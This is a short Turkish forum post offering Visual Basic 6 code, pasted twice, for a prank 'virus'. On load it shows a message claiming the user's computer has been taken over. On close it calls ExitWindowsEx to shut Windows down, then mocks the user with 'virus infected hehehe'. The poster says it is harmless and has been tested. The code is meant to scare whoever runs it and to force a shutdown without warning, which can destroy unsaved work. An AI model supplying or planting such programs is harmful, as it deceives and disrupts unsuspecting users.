bilalgzkys
Üye
- Katılım
- 9 Ocak 2008
- Mesajlar
- 14
- Puanları
- 1
- Yaş
- 40
Bu kodu oldugu gibi form a yapistir
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Boolean
Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0
Private Sub form_load()
MsgBox "Kaydi len senin bilgisayara, bu virusu açin diyee "
End Sub
Private Sub form_Terminate()
kapat = ExitWindowsEx(EWX_SHUTDOWN, 1)
If kapat = True Then
Else
MsgBox ("virus bulasti hehehe mgzkysl ")
End If
End Sub
vürüs değildir denendi
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Boolean
Private Const EWX_SHUTDOWN = 1
Private Const EWX_FORCE = 4
Private Const EWX_REBOOT = 2
Private Const EWX_LOGOFF = 0
Private Sub form_load()
MsgBox "Kaydi len senin bilgisayara, bu virusu açin diyee "
End Sub
Private Sub form_Terminate()
kapat = ExitWindowsEx(EWX_SHUTDOWN, 1)
If kapat = True Then
Else
MsgBox ("virus bulasti hehehe mgzkysl ")
End If
End Sub
vürüs değildir denendi